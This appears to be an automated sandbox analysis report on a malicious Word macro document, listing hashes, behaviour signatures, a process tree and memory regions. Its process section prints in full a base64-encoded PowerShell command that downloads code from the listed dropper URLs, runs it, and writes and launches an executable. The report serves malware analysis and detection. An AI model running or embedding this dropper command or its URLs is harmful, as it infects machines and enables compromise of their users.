Analysis

  • max time kernel
    122s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    26-05-2024 10:25

General

  • Target

    752dbb7512d8035e11849fa0d7f488b3_JaffaCakes118.doc

  • Size

    122KB

  • MD5

    752dbb7512d8035e11849fa0d7f488b3

  • SHA1

    950618a6e5887cbff4741b4dd0e139579474788b

  • SHA256

    bd492e2cd0f18bf045ae272d00e3043275c5df7745d3441c1680ceba44a9b68a

  • SHA512

    e8ee383f7e850c6ea3913374634b1aa00635317d4a9628be70ec54a472a4e76d25c706e6c46501b7309e5f2c07398022d5f07b1c3555a60804de56d68c850129

  • SSDEEP

    1536:RGJ9T76bf0wKUmywQmBVoqvykW7SAeDS3SySUwesvkpi5RtULbfJ:YT76bbMVRvS8LUwesMpi5mbfJ

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://89.223.89.8/rez-senqo/o402ek2m.php

exe.dropper

http://sudetztend.com/rez-senqo/o402ek2m.php?l=yuptb2.dds

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\752dbb7512d8035e11849fa0d7f488b3_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3048
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoP -Exec Bypass -EC JABpAG4AcwB0AGEAbgBjAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACIAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACIAKQA7AA0ACgAkAG0AZQB0AGgAbwBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AF0ALgBHAGUAdABNAGUAdABoAG8AZABzACgAKQA7AA0ACgBmAG8AcgBlAGEAYwBoACgAJABtACAAaQBuACAAJABtAGUAdABoAG8AZAApAHsADQAKAA0ACgANAAoAIAAgAGkAZgAoACQAbQAuAE4AYQBtAGUAIAAtAGUAcQAgACIARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACIAKQB7AA0ACgAgACAAIAAgACAAdAByAHkAewANAAoADQAKACAAIAAgACAAIAAgACAAJAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAOgAvAC8AOAA5AC4AMgAyADMALgA4ADkALgA4AC8AcgBlAHoALQBzAGUAbgBxAG8ALwBvADQAMAAyAGUAawAyAG0ALgBwAGgAcAAiADsADQAKACAAIAAgACAAIAAgACAASQBFAFgAKAAkAG0ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAoACQAdQByAGkAKQApACkAOwANAAoACQANAAoAIAAgACAAIAAgAH0AYwBhAHQAYwBoAHsAfQANAAoAIAAgAH0ADQAKAA0ACgAgACAAaQBmACgAJABtAC4ATgBhAG0AZQAgAC0AZQBxACAAIgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAiACkAewANAAoAIAAgACAAIAAgAHQAcgB5AHsADQAKACAAIAAgACAAIAAkAHUAcgBpACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAFUAcgBpACgAIgBoAHQAdABwADoALwAvAHMAdQBkAGUAdAB6AHQAZQBuAGQALgBjAG8AbQAvAHIAZQB6AC0AcwBlAG4AcQBvAC8AbwA0ADAAMgBlAGsAMgBtAC4AcABoAHAAPwBsAD0AeQB1AHAAdABiADIALgBkAGQAcwAiACkADQAKACAAIAAgACAAIAAkAHIAZQBzAHAAbwBuAHMAZQAgAD0AIAAkAG0ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAoACQAdQByAGkAKQApADsADQAKAA0ACgAgACAAIAAgACAAJABwAGEAdABoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoARwBlAHQARgBvAGwAZABlAHIAUABhAHQAaAAoACIAQwBvAG0AbQBvAG4AQQBwAHAAbABpAGMAYQB0AGkAbwBuAEQAYQB0AGEAIgApACAAKwAgACIAXABcAG4AYQBqAEMAcwBxAC4AZQB4AGUAIgA7AA0ACgAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAcABhAHQAaAAsACAAJAByAGUAcwBwAG8AbgBzAGUAKQA7AA0ACgANAAoAIAAgACAAIAAgACQAYwBsAHMAaQBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABHAHUAaQBkACAAJwBDADAAOABBAEYARAA5ADAALQBGADIAQQAxAC0AMQAxAEQAMQAtADgANAA1ADUALQAwADAAQQAwAEMAOQAxAEYAMwA4ADgAMAAnAA0ACgAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgAFsAVAB5AHAAZQBdADoAOgBHAGUAdABUAHkAcABlAEYAcgBvAG0AQwBMAFMASQBEACgAJABjAGwAcwBpAGQAKQANAAoAIAAgACAAIAAgACQAbwBiAGoAZQBjAHQAIAA9ACAAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAHQAeQBwAGUAKQANAAoAIAAgACAAIAAgACQAbwBiAGoAZQBjAHQALgBEAG8AYwB1AG0AZQBuAHQALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4ALgBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAoACQAcABhAHQAaAAsACQAbgB1AGwALAAgACQAbgB1AGwALAAgACQAbgB1AGwALAAwACkADQAKAA0ACgAgACAAIAAgACAAfQBjAGEAdABjAGgAewB9AA0ACgAgACAAIAAgACAADQAKACAAIAB9AA0ACgB9AA0ACgANAAoARQB4AGkAdAA7AA0ACgANAAoA
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2920
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2316

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      62fc6e4ab98af332856d285cba9d80e1

      SHA1

      005923b155d950b3f4a65b29104c3974c397540c

      SHA256

      c0b982435da84b60a46b6fa5fbfdf7599762baad78ecfd663090eb84de9bf10a

      SHA512

      62f5fd63758eb0ef7fa130540e915bc72a0b1da0e0573a233104676ac68376904dc2ef62a08d876ecc5870d1b21cc219db0584d9efab211f315d58409fddade8

    • memory/2920-15-0x00000000057E0000-0x000000000582F000-memory.dmp

      Filesize

      316KB

    • memory/3048-2-0x00000000719ED000-0x00000000719F8000-memory.dmp

      Filesize

      44KB

    • memory/3048-5-0x0000000000160000-0x0000000000260000-memory.dmp

      Filesize

      1024KB

    • memory/3048-6-0x0000000000160000-0x0000000000260000-memory.dmp

      Filesize

      1024KB

    • memory/3048-7-0x0000000000160000-0x0000000000260000-memory.dmp

      Filesize

      1024KB

    • memory/3048-0-0x000000002F211000-0x000000002F212000-memory.dmp

      Filesize

      4KB

    • memory/3048-17-0x00000000719ED000-0x00000000719F8000-memory.dmp

      Filesize

      44KB

    • memory/3048-18-0x0000000000160000-0x0000000000260000-memory.dmp

      Filesize

      1024KB

    • memory/3048-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3048-33-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3048-34-0x00000000719ED000-0x00000000719F8000-memory.dmp

      Filesize

      44KB

    • memory/3048-35-0x0000000000160000-0x0000000000260000-memory.dmp

      Filesize

      1024KB